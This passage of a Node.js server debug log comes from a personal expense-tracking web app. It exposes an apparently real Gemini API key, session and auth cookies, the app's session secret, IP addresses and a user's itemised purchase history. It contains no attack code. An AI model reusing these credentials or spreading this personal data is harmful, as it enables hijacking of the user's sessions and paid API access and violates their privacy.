    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-12T13:47:57.288Z server-connect:router Serving serverConnect /api/masters/get-tags
2025-12-12T13:47:57.288Z server-connect:router Serving serverConnect /api/expense/list
2025-12-12T13:47:57.289Z server-connect:app Executing action step identify
2025-12-12T13:47:57.289Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:57.289Z server-connect:output identity: 1
2025-12-12T13:47:57.289Z server-connect:app Executing action step restrict
2025-12-12T13:47:57.289Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:47:57.289Z server-connect:app Executing action step identify
2025-12-12T13:47:57.289Z server-connect:app options: { provider: 'security' }
2025-12-12T13:47:57.289Z server-connect:output identity: 1
2025-12-12T13:47:57.289Z server-connect:app Executing action step restrict
2025-12-12T13:47:57.289Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:47:57.290Z server-connect:output restrict: undefined
2025-12-12T13:47:57.290Z server-connect:app Executing action step select
2025-12-12T13:47:57.290Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2025-12-12T13:47:57.290Z server-connect:output restrict: undefined
2025-12-12T13:47:57.290Z server-connect:app Executing action step paged
2025-12-12T13:47:57.290Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-12T13:47:57.291Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2025-12-12T13:47:57.299Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2025-12-12T14:00:03.896Z server-connect:router Serving templateView /
2025-12-12T14:00:03.897Z server-connect:app Executing action step identify
2025-12-12T14:00:03.897Z server-connect:app options: { provider: 'security' }
2025-12-12T14:00:03.897Z server-connect:auth No login cookie found
2025-12-12T14:00:03.897Z server-connect:output identity: false
2025-12-12T14:00:03.897Z server-connect:app Executing action step restrict
2025-12-12T14:00:03.897Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T14:00:03.898Z server-connect:output restrict: undefined
2025-12-12T14:00:04.027Z server-connect:router Serving templateView /login
2025-12-12T14:00:04.028Z server-connect:app Executing action step identify
2025-12-12T14:00:04.028Z server-connect:app options: { provider: 'security' }
2025-12-12T14:00:04.028Z server-connect:auth No login cookie found
2025-12-12T14:00:04.028Z server-connect:output identity: false
2025-12-12T14:00:04.028Z server-connect:router Render template layouts/authentication
2025-12-12T14:00:04.029Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'x-openai-host-hash': '497761556',
    accept: '*/*',
    from: 'gptbot(at)openai.com',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '74.7.241.1',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T14:00:04.027Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '74.7.241.1',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_OPENAI-HOST-HASH': '497761556',
    HTTP_ACCEPT: '*/*',
    HTTP_FROM: 'gptbot(at)openai.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '74.7.241.1',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T14:06:32.255Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-12T14:06:32.426Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-12T14:06:32.507Z server-connect:setup:upload Upload middleware configured.
2025-12-12T14:06:32.526Z server-connect:secure CSRF Protection initialized
2025-12-12T14:06:32.530Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-12T14:06:32.531Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-12T14:06:32.531Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-12T14:06:32.532Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-12T14:06:32.532Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-12T14:06:32.533Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-12T14:06:32.533Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-12T14:06:32.534Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-12T14:06:32.534Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-12T14:06:32.534Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-12T14:06:32.535Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-12T14:06:32.535Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-12T14:06:32.535Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-12T14:06:32.536Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-12T14:06:32.536Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-12T14:06:32.536Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-12T14:06:32.536Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-12T14:06:32.537Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-12T14:06:32.537Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-12T14:06:32.537Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-12T14:06:32.538Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-12T14:06:32.538Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-12T14:06:32.539Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-12T14:06:32.539Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-12T14:06:32.540Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-12T14:06:32.540Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-12T14:06:32.540Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-12T14:06:32.541Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-12T14:06:32.541Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-12T14:06:32.627Z server-connect:router Serving templateView /
2025-12-12T14:06:32.630Z server-connect:router Serving templateView /
2025-12-12T14:06:32.632Z server-connect:app Executing action step identify
2025-12-12T14:06:32.632Z server-connect:app options: { provider: 'security' }
2025-12-12T14:06:32.633Z server-connect:auth No login cookie found
2025-12-12T14:06:32.633Z server-connect:output identity: false
2025-12-12T14:06:32.633Z server-connect:app Executing action step restrict
2025-12-12T14:06:32.634Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T14:06:32.637Z server-connect:output restrict: undefined
2025-12-12T14:06:32.638Z server-connect:app Executing action step identify
2025-12-12T14:06:32.638Z server-connect:app options: { provider: 'security' }
2025-12-12T14:06:32.638Z server-connect:auth No login cookie found
2025-12-12T14:06:32.638Z server-connect:output identity: false
2025-12-12T14:06:32.639Z server-connect:app Executing action step restrict
2025-12-12T14:06:32.639Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T14:06:32.639Z server-connect:output restrict: undefined
2025-12-12T14:06:33.192Z server-connect:router Serving templateView /login
2025-12-12T14:06:33.193Z server-connect:router Serving templateView /login
2025-12-12T14:06:33.194Z server-connect:app Executing action step identify
2025-12-12T14:06:33.194Z server-connect:app options: { provider: 'security' }
2025-12-12T14:06:33.194Z server-connect:auth No login cookie found
2025-12-12T14:06:33.194Z server-connect:output identity: false
2025-12-12T14:06:33.194Z server-connect:router Render template layouts/authentication
2025-12-12T14:06:33.194Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Mobile/15E148 Safari/604.1',
    referer: 'http://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '52.11.154.173',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T14:06:33.192Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.11.154.173',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Mobile/15E148 Safari/604.1',
    HTTP_REFERER: 'http://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '52.11.154.173',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-12T14:06:33.201Z server-connect:app Executing action step identify
2025-12-12T14:06:33.201Z server-connect:app options: { provider: 'security' }
2025-12-12T14:06:33.201Z server-connect:auth No login cookie found
2025-12-12T14:06:33.202Z server-connect:output identity: false
2025-12-12T14:06:33.202Z server-connect:router Render template layouts/authentication
2025-12-12T14:06:33.202Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
    referer: 'http://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '52.11.154.173',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T14:06:33.193Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.11.154.173',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
